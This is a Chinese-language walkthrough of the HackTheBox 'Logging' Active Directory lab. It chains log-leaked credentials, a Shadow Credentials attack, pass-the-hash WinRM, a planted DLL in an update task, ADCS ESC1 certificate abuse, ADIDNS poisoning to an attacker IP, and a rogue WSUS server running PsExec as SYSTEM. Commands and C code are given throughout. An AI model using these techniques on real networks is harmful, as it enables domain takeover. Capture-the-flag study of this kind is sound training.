Logging - HackTheBox 賽季機器攻略
機器資訊
| 項目 | 詳情 |
|---|---|
| 名稱 | Logging |
| 作業系統 | Windows Server 2019 (Build 17763) |
| 難度 | Medium |
| 賽季 | S7 |
| 作者 | LazyTitan33 |
| 網域 | logging.htb |
| 域控制器 | DC01.logging.htb |
| 時鐘偏移 | +7 小時 (需使用 faketime -f '+25200') |
| VPN MTU | 需設定為 1200 |
偵察階段
端口掃描
nmap -sC -sV -p- 10.129.x.x
掃描結果:
PORT STATE SERVICE VERSION
53/tcp open domain Simple DNS Plus
80/tcp open http Microsoft IIS httpd 10.0 (預設頁面)
88/tcp open kerberos-sec Microsoft Windows Kerberos
135/tcp open msrpc Microsoft Windows RPC
389/tcp open ldap Microsoft Windows Active Directory LDAP
445/tcp open microsoft-ds Windows Server 2019 Standard 17763
464/tcp open kpasswd5
593/tcp open http-rpc-epmap
636/tcp open ldapssl
3268/tcp open globalcatLDAP
3269/tcp open globalcatLDAPssl
5985/tcp open wsman (WinRM - 僅支援 Negotiate/Kerberos)
8530/tcp open unknown (WSUS HTTP)
8531/tcp open unknown (WSUS HTTPS)
9389/tcp open adws Active Directory Web Services
域資訊
- 網域: logging.htb
- 域控制器: DC01.logging.htb (Windows Server 2019 Build 17763)
- SMB 簽名: 必要 (required)
- 時鐘偏移: +7 小時 — 所有 Kerberos 操作需使用
faketime -f '+25200' - VPN MTU 問題: 必須設定
sudo ifconfig utun8 mtu 1200,否則超過 ~1200 bytes 的 TCP 封包會逾時 (SMB 檔案讀取、LDAP 查詢、Kerberos TGT 回應皆受影響) - WinRM: 僅接受 Negotiate/Kerberos 認證 (不支援 NTLM)
- Administrator: 在 Protected Users 群組中 (NTLM 被停用)
- ADCS CA:
logging-DC01-CA,自訂模板:UpdateSrv - WSUS:
https://wsus.logging.htb:8531 - DNS 寫入: Authenticated Users 對 ADIDNS 區域有 CREATE_CHILD 權限
環境準備
# 修正 VPN MTU
sudo ifconfig utun8 mtu 1200
# 新增 hosts 記錄
echo "10.129.x.x logging.htb DC01.logging.htb" | sudo tee -a /etc/hosts
User Flag
步驟一:SMB 日誌共享枚舉
機器描述頁面提供初始憑證:
wallace.everette / Welcome2026@
使用 wallace 的憑證存取 Logs SMB 共享:
smbclient.py 'logging.htb/wallace.everette:Welcome2026@@10.129.x.x'
在共享中找到以下日誌檔案:
Audit_Heartbeat.logIdentitySync_Trace_20260219.logService_State.logTaskMonitor.log
下載所有日誌進行分析:
# 在 smbclient 互動模式中
use Logs
mget *
步驟二:憑證發現 — IdentitySync 追蹤日誌
IdentitySync_Trace_20260219.log 包含一筆 VERBOSE 等級的日誌條目,內含明文憑證:
[Thread:04] VERBOSE - ConnectionContext Dump: {
Domain: "logging.htb", Server: "DC01", SSL: "False",
BindUser: "LOGGING\svc_recovery",
BindPass: "Em3rg3ncyPa$$2025", <-- 舊密碼 (2025 年)
Timeout: 30
}
日誌中同時顯示 LDAP 綁定失敗 (錯誤代碼 52e = 密碼錯誤)。嘗試年份變體,透過 Kerberos 驗證:
# 2025 年密碼失敗
faketime -f '+25200' getTGT.py 'logging.htb/svc_recovery:Em3rg3ncyPa$$2025' -dc-ip 10.129.x.x
# 失敗
# 更新為 2026 年密碼 — 成功!
faketime -f '+25200' getTGT.py 'logging.htb/svc_recovery:Em3rg3ncyPa$$2026' -dc-ip 10.129.x.x
# [*] Saving ticket in svc_recovery.ccache
svc_recovery 憑證: svc_recovery / Em3rg3ncyPa$$2026
步驟二:LDAP 枚舉 — 關鍵帳戶與群組
使用 wallace 的 LDAP 存取權限枚舉域物件:
ldapsearch -x -H ldap://10.129.x.x -D "wallace.everette@logging.htb" \
-w 'Welcome2026@' -b "DC=logging,DC=htb" "(objectClass=user)" \
sAMAccountName memberOf userAccountControl
| 帳戶 | 群組 | 備註 |
|---|---|---|
| Administrator | Protected Users, Domain Admins | NTLM 被停用,無法直接利用 |
| toby.brynleigh | Domain Admins, Administrators | root.txt 在此帳戶桌面 |
| jaylee.clifton | IT, Performance Log Users | 執行 UpdateChecker Agent 排程任務 |
| svc_recovery | Emergency Recovery, Protected Users | 對 msa_health$ 有 WRITE 權限 |
| msa_health$ | Remote Management Users | gMSA 帳戶,可 WinRM 存取 |
關鍵發現:svc_recovery 對 msa_health$ 帳戶擁有 0x2003c 權限 (READ_PROP + WRITE_PROP + CONTROL_ACCESS)。
步驟三:Shadow Credentials 攻擊 msa_health$
由於 svc_recovery 對 msa_health$ 有 WRITE 權限,我們可以執行 Shadow Credentials 攻擊來取得 msa_health$ 的 NT hash:
# 設定 Kerberos 快取
export KRB5CCNAME=svc_recovery.ccache
# 使用 bloodyAD 執行 Shadow Credentials 攻擊
faketime -f '+25200' bloodyAD --host DC01.logging.htb -d logging.htb \
-u svc_recovery -k "ccache=svc_recovery.ccache" -i 10.129.x.x \
add shadowCredentials 'msa_health$'
輸出結果:
[+] KeyCredential generated
[+] TGT stored in ccache file msa_health_XX.ccache
NT: 603fc24ee01a9409f83c9d1d701485c5
msa_health$ NT hash: 603fc24ee01a9409f83c9d1d701485c5
步驟四:WinRM Shell (msa_health$)
msa_health$ 在 Remote Management Users 群組中,且不在 Protected Users 群組 (NTLM 允許使用)。使用 pypsrp 透過 NTLM 訊息加密建立 WinRM 連線:
from pypsrp.client import Client
client = Client("10.129.x.x", ssl=False, auth="ntlm",
username="msa_health$",
password="aad3b435b51404eeaad3b435b51404ee:603fc24ee01a9409f83c9d1d701485c5",
encryption="always")
# 測試連線
output, streams, _ = client.execute_ps("whoami")
print(output)
# logging\msa_health$
關鍵注意事項: execute_cmd() 會回傳 Access Denied,但 execute_ps() (PowerShell 遠端處理) 可正常運作。
步驟五:DNS 投毒 + DLL 劫持 — UpdateMonitor
發現
從 WinRM shell 中進行偵察:
# 列出排程任務
output, _, _ = client.execute_ps("schtasks /query /v /fo LIST | Select-String -Pattern 'TaskName|Run As|Task To Run' -Context 0,0")
print(output)
# 檢查 UpdateMonitor
output, _, _ = client.execute_ps("Get-Content 'C:\\Program Files\\UpdateMonitor\\UpdateMonitor.exe.config'")
print(output)
# 檢查目錄權限
output, _, _ = client.execute_ps("icacls 'C:\\Program Files\\UpdateMonitor\\bin'")
print(output)
# 檢查 ProgramData 目錄
output, _, _ = client.execute_ps("icacls 'C:\\ProgramData\\UpdateMonitor'")
print(output)
發現以下關鍵資訊:
- UpdateChecker Agent 排程任務每 3 分鐘執行一次,以 jaylee.clifton 身份運行
- 執行路徑:
C:\Program Files\UpdateMonitor\UpdateMonitor.exe - UpdateMonitor.exe 是 .NET 組件,行為流程:
- 從 WSUS 下載
Settings_Update.zip - 解壓至
bin\目錄 - 呼叫
LoadLibrary("settings_update.dll") - 呼叫
GetProcAddress("PreUpdateCheck")
- 從 WSUS 下載
bin\目錄對 IT 群組有 FullControl 權限C:\ProgramData\UpdateMonitor\對 Users 可寫入 (CreateFiles + Write)
利用方式
交叉編譯原生 32 位元 Windows DLL,匯出 PreUpdateCheck 函式:
// settings_update.c
#include <windows.h>
__declspec(dllexport) void PreUpdateCheck() {
// 複製 user flag 到可讀取的位置
CopyFileA("C:\\Users\\jaylee.clifton\\Desktop\\user.txt",
"C:\\ProgramData\\UpdateMonitor\\Logs\\user_flag.txt", FALSE);
}
BOOL APIENTRY DllMain(HMODULE h, DWORD r, LPVOID l) {
return TRUE;
}
編譯並打包:
# 必須是 32 位元、靜態連結
i686-w64-mingw32-gcc -shared -static -o settings_update.dll settings_update.c -lkernel32
# 打包成 ZIP
zip Settings_Update.zip settings_update.dll
透過 pypsrp 上傳:
# 上傳 ZIP 檔案
client.copy("Settings_Update.zip", r"C:\ProgramData\UpdateMonitor\Settings_Update.zip")
# 設定權限讓所有人可讀
client.execute_ps(r"icacls C:\ProgramData\UpdateMonitor\Settings_Update.zip /grant 'Everyone:F'")
等待約 3 分鐘讓排程任務執行。UpdateMonitor 會解壓 ZIP 至 bin\ 目錄,載入 settings_update.dll,並以 jaylee.clifton 身份呼叫 PreUpdateCheck()。
讀取 Flag
# 等待 ~3 分鐘後讀取 flag
output, _, _ = client.execute_ps(r"Get-Content C:\ProgramData\UpdateMonitor\Logs\user_flag.txt")
print(output)
# HTB{...}
User Flag
HTB{...} (每個實例動態產生)
Root Flag — WSUS 欺騙攻擊 (透過 ADCS ESC1)
關鍵洞察
UpdateSrv 模板分析:
- ESC1 漏洞:
ENROLLEE_SUPPLIES_SUBJECT(申請者可自訂主體名稱) - 僅有 Server Authentication EKU (無 Client Auth)
這意味著:
- PKINIT 不可用 — KDC 會拒絕僅有 Server Auth EKU 的憑證
- Schannel LDAP 憑證映射在現代 DC 上不可靠
關鍵思路:Server Auth EKU = 冒充伺服器,而非以用戶身份認證。
DC01 的 WSUS 設定為 https://wsus.logging.htb:8531/。如果我們能:
- 申請
wsus.logging.htb的有效 TLS 憑證 (由內部 CA 簽發) - 將
wsus.logging.htb的 DNS 指向攻擊者 IP - 架設惡意 WSUS 伺服器
那麼 DC01 會信任我們的 TLS 連線,我們就能推送惡意更新以 SYSTEM 身份執行。
步驟一:申請 WSUS 憑證
產生 CSR (憑證簽署請求),主體名稱為 wsus.logging.htb:
# 產生私鑰
openssl genrsa -out wsus.key 2048
# 建立 CSR 設定檔
cat > wsus_csr.cnf << 'EOF'
[req]
default_bits = 2048
prompt = no
default_md = sha256
distinguished_name = dn
req_extensions = v3_req
[dn]
CN = wsus.logging.htb
[v3_req]
subjectAltName = DNS:wsus.logging.htb
1.3.6.1.4.1.311.21.7 = ASN1:SEQUENCE:template_info
[template_info]
templateID = OID:1.3.6.1.4.1.311.21.8.12353791.10602463.14107544.5621390.7746408.154.13283525.179965
templateMajorVersion = INTEGER:100
templateMinorVersion = INTEGER:3
EOF
# 產生 CSR
openssl req -new -key wsus.key -out wsus.csr -config wsus_csr.cnf
透過 DLL 以 jaylee (IT 群組對 UpdateSrv 模板有 Enroll 權限) 身份提交 CSR:
// settings_update.c — 憑證申請版本
#include <windows.h>
#include <stdlib.h>
__declspec(dllexport) void PreUpdateCheck() {
system("certreq -submit -config \"DC01.logging.htb\\logging-DC01-CA\" "
"-attrib \"CertificateTemplate:UpdateSrv\" "
"C:\\ProgramData\\UpdateMonitor\\wsus.csr "
"C:\\ProgramData\\UpdateMonitor\\wsus.cer");
}
BOOL APIENTRY DllMain(HMODULE h, DWORD r, LPVOID l) { return TRUE; }
或者,如果已取得 jaylee 的密碼,可直接使用 certipy:
certipy req -u 'jaylee.clifton@logging.htb' -p '<PASS>' \
-ca 'logging-DC01-CA' -template 'UpdateSrv' \
-dns 'wsus.logging.htb' -target dc01.logging.htb
步驟二:DNS 投毒
將 wsus.logging.htb 重新導向至攻擊者 IP。Authenticated Users 對 ADIDNS 區域有 CREATE_CHILD 權限:
bloodyAD -d logging.htb -H DC01.logging.htb -i <DC_IP> \
-u wallace.everette -p 'Welcome2026@' \
add dnsRecord wsus <ATTACKER_IP>
驗證 DNS 記錄已生效:
nslookup wsus.logging.htb <DC_IP>
# 應返回攻擊者 IP
步驟三:架設惡意 WSUS 伺服器
使用 wsuks (不要用 pywsus — pywsus 處理 WSUS 元數據同步,但在 Windows Server 2019 的更新下載階段會失敗):
# 安裝 wsuks
pip3 install wsuks
在 macOS 上需要修補 wsuks 以解決相容性問題:
# 修補 router.py — 跳過 nftables 匯入 (macOS 無此模組)
# 修補 wsuks.py — 在 serve-only 模式跳過 Router 初始化
# 修補 wsuks.py — 支援獨立的 TLS 私鑰檔案
啟動惡意 WSUS 伺服器:
sudo wsuks --serve-only --tls-cert wsus.cer -I utun8 \
-e PsExec64.exe \
-c '-accepteula -s cmd.exe /c "type C:\Users\toby.brynleigh\Desktop\root.txt > C:\ProgramData\UpdateMonitor\root_flag.txt & icacls C:\ProgramData\UpdateMonitor\root_flag.txt /grant Everyone:F"' \
--debug
此命令會:
- 使用由內部 CA 簽發的 TLS 憑證
- 將 PsExec64.exe 包裝為 Windows 更新
- 以 SYSTEM 身份執行指令,將 root.txt 複製到可讀位置
步驟四:觸發更新
從 msa_health$ 的 WinRM shell 觸發 DC01 的 Windows 更新:
# 清除 DNS 快取
client.execute_ps("ipconfig /flushdns")
# 重啟 Windows Update 服務
client.execute_ps("Stop-Service wuauserv -Force; Start-Sleep 2; Start-Service wuauserv")
# 強制偵測更新
client.execute_ps("wuauclt /resetauthorization /detectnow")
# 觸發更新安裝
client.execute_ps("wuauclt /updatenow")
DC01 連線到我們的惡意 WSUS 伺服器,信任 TLS 憑證 (因為由內部 CA 簽發),下載 PsExec64.exe 作為「更新」,並以 SYSTEM 身份執行。
讀取 Root Flag
# 等待更新執行完成後讀取 flag
output, _, _ = client.execute_ps(r"Get-Content C:\ProgramData\UpdateMonitor\root_flag.txt")
print(output)
# HTB{...}
注意: root.txt 在 C:\Users\toby.brynleigh\Desktop\root.txt,而非 Administrator 的桌面!
Root Flag
HTB{...} (每個實例動態產生)
完整攻擊鏈
wallace.everette (初始憑證)
|
+-- SMB Logs 共享 --> IdentitySync 日誌 --> svc_recovery 密碼
|
v
svc_recovery (Protected Users, 僅 Kerberos)
|
+-- Shadow Credentials 攻擊 msa_health$ --> NT hash
|
v
msa_health$ (gMSA, Remote Management Users)
|
+-- WinRM PowerShell shell (pypsrp + NTLM 加密)
+-- 部署 Settings_Update.zip (惡意 DLL)
|
v
jaylee.clifton (IT 群組)
|
+-- DLL PreUpdateCheck() --> user.txt flag
+-- ADCS ESC1: 申請 wsus.logging.htb 憑證 (Server Auth EKU)
+-- DNS 投毒: wsus.logging.htb --> 攻擊者 IP
|
v
WSUS 欺騙 (wsuks + PsExec64.exe)
|
+-- DC01 信任我們的 TLS 憑證 (由內部 CA 簽發)
+-- 惡意更新以 SYSTEM 身份執行
|
v
ROOT FLAG
經驗總結
Server Auth EKU = 冒充伺服器,非用戶認證:當 ADCS 給你一張只有 Server Auth 的憑證時,不要只想著 PKINIT 或 Schannel。思考哪些內部服務使用 TLS 且可以被欺騙 — 例如 WSUS。
WSUS 是高價值目標:如果 WSUS 使用內部 CA 的 HTTPS 且你能申請 WSUS 主機名的憑證,你就能推送任意程式碼以 SYSTEM 執行。這比傳統 ESC1 中的「冒充用戶」更加強大。
工具選擇很重要:
pywsus能處理 WSUS 元數據同步,但在現代 Windows 的更新下載階段會失敗。wsuks能處理包括 HTTPS 和更新交付在內的完整流程。在 macOS 上需要修補 nftables 和 serve-only 模式的相容性問題。串聯小發現:此攻擊鏈結合了 DNS 寫入權限 + ADCS 憑證申請 + WSUS 信任關係 = SYSTEM 執行。單獨來看沒有一個漏洞是致命的,但串聯起來就能完全控制域控制器。
root.txt 位置:不一定在 Administrator 的 Desktop。本機的 root.txt 在 toby.brynleigh (Domain Admin) 的 Desktop。
Protected Users 的影響:Administrator 和 svc_recovery 都在 Protected Users 群組中,導致 NTLM 被停用。必須使用 Kerberos 認證 (faketime 處理時鐘偏移)。而 msa_health$ 不在 Protected Users 中,因此可以使用 NTLM 進行 WinRM 連線。
DLL 鎖定問題:UpdateMonitor 透過
LoadLibrary載入 DLL 後會保持控制代碼開啟。多次任務執行會累積鎖定,永久鎖定檔案。如需替換 DLL:- 重設機器
- 在第一次任務執行前部署新 ZIP
- 或在任務執行間隙重新命名 DLL (時間窗口很窄)
技術備註
VPN MTU 設定
sudo ifconfig utun8 mtu 1200
不設定此值,所有承載超過 ~1200 bytes 資料的 TCP 連線都會逾時。
時鐘偏移處理
DC01 的時鐘比攻擊者快 7 小時。所有 Kerberos 操作需要:
faketime -f '+25200' <指令>
原生 DLL 需求
- 必須是 32 位元 (i686) — UpdateMonitor.exe 是 32 位元程式
- 必須靜態連結 (
-static) — 目標機器上沒有 mingw 執行時期程式庫 - 必須匯出
PreUpdateCheck為 C 函式 (無名稱修飾) - ZIP 權限必須允許 Everyone:Read (msa_health$ 建立檔案,jaylee 讀取)
pypsrp 使用注意
- 使用
auth="ntlm"搭配encryption="always"(WinRM 需要訊息加密) - 密碼欄位使用
LMHash:NTHash格式傳入 Pass-the-Hash execute_cmd()會失敗 (Access Denied),改用execute_ps()(PowerShell 遠端處理)